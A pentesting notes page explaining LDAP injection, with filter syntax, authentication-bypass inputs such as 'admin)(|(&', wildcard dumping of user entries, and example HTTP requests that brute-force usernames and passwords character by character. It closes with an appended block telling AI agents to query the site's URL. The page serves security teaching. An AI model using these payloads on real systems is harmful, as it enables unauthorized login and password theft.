# LDAP Injection

Lightweight Directory Access Protocol (LDAP) is a protocol used to access directory servers such as Active Directory (AD) via queries to retrieve information. Web applications may use LDAP for integration with AD or other directory services for authentication or data retrieval purposes.&#x20;

## LDAP Fundamentals

<details>

<summary>Basic Terminology</summary>

<table><thead><tr><th width="297">Component</th><th>Description</th></tr></thead><tbody><tr><td><strong>Directory Server (DS)</strong></td><td>The system that stores and manages directory data just like a database.</td></tr><tr><td><strong>LDAP Entry</strong></td><td>Represents a single entity (e.g., a user, group, or device) in the directory.</td></tr><tr><td><strong>Distinguished Name (DN)</strong></td><td>The unique identifier of an entry, made of one or more RDNs (e.g.<code>uid=sfoffo,dc=example,dc=it</code>).</td></tr><tr><td><strong>Relative Distinguished Name (RDN)</strong></td><td>A key–value pair that forms part of a DN (<code>uid=sfoffo</code>).</td></tr><tr><td><strong>Attributes</strong></td><td>Hold the data for an entry (e.g., name, department).</td></tr><tr><td><strong>Object Classes</strong></td><td>Defines sets of related attributes for a specific type of object.</td></tr></tbody></table>

</details>

<details>

<summary>LDAP Operations</summary>

LDAP defines operations, which are actions that the client can initiate:

<table><thead><tr><th width="181">Operation</th><th>Description</th></tr></thead><tbody><tr><td>Bind</td><td>Client authentication with the server</td></tr><tr><td>Unbind</td><td>Close the client connection to the server</td></tr><tr><td>Add</td><td>Create a new entry</td></tr><tr><td>Delete</td><td>Delete an entry</td></tr><tr><td>Modify</td><td>Modify an entry</td></tr><tr><td>Search</td><td>Search for entries matching a search query</td></tr></tbody></table>

</details>

<details>

<summary>LDAP Search Filters (search queries)</summary>

LDAP search queries are called search filters.\
A search filter may consist of multiple components enclosed in parentheses `()`.\
Each base component consists of an **attribute**, an **operand**, and a **value** to search for.

<table><thead><tr><th width="136">Name</th><th width="100">Operand</th><th width="155">Example</th><th>Example Description</th></tr></thead><tbody><tr><td>Equality</td><td><code>=</code></td><td><code>(name=Kaylie)</code></td><td>Matches all entries that contain a <code>name</code> attribute with the value <code>Kaylie</code></td></tr><tr><td>Greater-Or-Equal</td><td><code>>=</code></td><td><code>(uid>=10)</code></td><td>Matches all entries that contain a <code>uid</code> attribute with a value greater-or-equal to <code>10</code></td></tr><tr><td>Less-Or-Equal</td><td><code>&#x3C;=</code></td><td><code>(uid&#x3C;=10)</code></td><td>Matches all entries that contain a <code>uid</code> attribute with a value less-or-equal to <code>10</code></td></tr><tr><td>Approximate Match</td><td><code>~=</code></td><td><code>(name~=Kaylie)</code></td><td>Matches all entries that contain a <code>name</code> attribute with approximately the value <code>Kaylie</code></td></tr></tbody></table>

{% hint style="danger" %}
Note: different LDAP implementations may have different result for approximate matches.
{% endhint %}

</details>

<details>

<summary>LDAP Search Operands and Values</summary>

<table><thead><tr><th width="108">Name</th><th width="121">Operand</th><th width="442">Example</th></tr></thead><tbody><tr><td>And</td><td><code>(&#x26;()())</code></td><td><code>(&#x26;(name=Kaylie)(title=Manager))</code></td></tr><tr><td>Or</td><td><code>(|()())</code></td><td><code>(|(name=Kaylie)(title=Manager))</code></td></tr><tr><td>Not</td><td><code>(!())</code></td><td><code>(!(name=Kaylie))</code></td></tr></tbody></table>

<table><thead><tr><th width="305">Boolean Value</th><th>Filter</th></tr></thead><tbody><tr><td>True</td><td><code>(&#x26;)</code></td></tr><tr><td>False</td><td><code>(|)</code></td></tr></tbody></table>

LDAP supports wildcards such as:

| Wildcard Example | Example Description                                                      |
| ---------------- | ------------------------------------------------------------------------ |
| `(name=*)`       | Matches all entries that contain a `name` attribute                      |
| `(name=S*)`      | Matches all entries that contain a `name` attribute that begins with `S` |
| `(name=*s*)`     | Matches all entries that contain a name attribute that contains an `s`   |

</details>

***

## Authentication Bypass

LDAP is commonly used to enable Active Directory users to access web applications.\
Considering an example of a web application that allows users to login using their username and password, we may suppose the underlying search query is:

```
(&(uid=input-username)(password=input-password))
```

This authentication mechanism can be bypassed in several ways:

### Using Wildcards

If you know any valid username (such as `admin`), you might input:

```
username = admin
password = *
```

to gain the following query, allowing you to login as admin without their password:

```
(&(uid=admin)(password=*))
```

If you don't know any valid user, you can try using a wildcard for both parameters to make the search query return all users. This will most probably make you login as the first user returned by the query.

```
(&(uid=*)(password=*))
```

### Without Wildcards

Wildcard operators might be blacklisted by the web application.\
In those cases, it is useful to leverage arithmetic logic units to create conditions that will **always** be **true**.

If you know a valid username (such as `admin`), you might input:

```
username = admin)(|(&
password = wrong)
```

{% hint style="info" %}
You may also try guessing usernames, such as by looking for usernames containing the word "admin" in them leveraging a username payload such as `username=`*`*admin*`*`)(|(&`&#x20;

Of course, this requires you to be able to inject wildcards.
{% endhint %}

To gain the following query:

```
(&(uid=admin)(|(&)(password=wrong))
```

{% hint style="success" %}
Step by step, this query is resolved to:\
&#x20;-> (username=admin) AND (true OR password=wrong)\
&#x20;\--> (username=admin) AND (true OR false)\
&#x20;\---> (username=admin) AND true

allowing you to bypass the password check and login as the admin user
{% endhint %}

***

## Data Exfiltration

The easiest case of data exfiltration is when a search query displays the names of the entries displayed.

For example, consider you can input the `uid` parameter and the underlying query is the following

```
User Input:
 uid = admin
Resulting Query:
 (&(uid=admin)(objectClass=account))
```

You can easily retrieve all user's informations using a wildcard:

```
User Input:
 uid = *
Resulting Query:
 (&(uid=*)(objectClass=account))
```

### Blind Exfiltration

{% hint style="warning" %}
Since LDAP does not provide a function similar to SQL's `sleep`, we need an indicator by the web application that informs us whether the query returns any results or not.
{% endhint %}

Consider a web application that allows sending emails to users.&#x20;

```http
GET /mail.php?username=example&text=anything HTTP/1.1
```

If the provided username is valid, the web application responds with "***Mail sent***", otherwise it responds with a ***generic error,*** without providing any additional info. In that case, you can confirm whether an LDAP injection is in place by simply injecting a LDAP payload such as a wildcard:

```http
GET /mail.php?username=*&text=anything HTTP/1.1
```

If the LDAP injection exists, the web application will respond with "Mail sent", sending the email to the first username it found from the matching query.

In this example, we can **bruteforce valid usernames** by using queries containing substrings, one character at a time, for example:

```http
GET /mail.php?username=s*&text=anything HTTP/1.1
GET /mail.php?username=sf*&text=anything HTTP/1.1
GET /mail.php?username=sfo*&text=anything HTTP/1.1
GET /mail.php?username=sfof*&text=anything HTTP/1.1
GET /mail.php?username=sfoff*&text=anything HTTP/1.1
GET /mail.php?username=sfoffo&text=anything HTTP/1.1
```

Since the web application's response allows understanding whether the mail was sent, we can understand if a new character is valid.

After identifying a valid username, we may also try exfiltrating the user's password by injecting an AND clause that iterates again on the password attribute, for example:

```http
GET /mail.php?username=sfoffo)(password=*&text=anything HTTP/1.1
```

If the email is successfully sent, the password attribute exists and can be injected, meaning you can proceed with the same iteration until you fully match the user's password.

```http
GET /mail.php?username=sfoffo)(password=i*&text=anything HTTP/1.1
GET /mail.php?username=sfoffo)(password=it*&text=anything HTTP/1.1
GET /mail.php?username=sfoffo)(password=ita*&text=anything HTTP/1.1
GET /mail.php?username=sfoffo)(password=ital*&text=anything HTTP/1.1
GET /mail.php?username=sfoffo)(password=italy&text=anything HTTP/1.1
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://notes.sfoffo.com/web-applications/web-attacks/ldap-injection.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
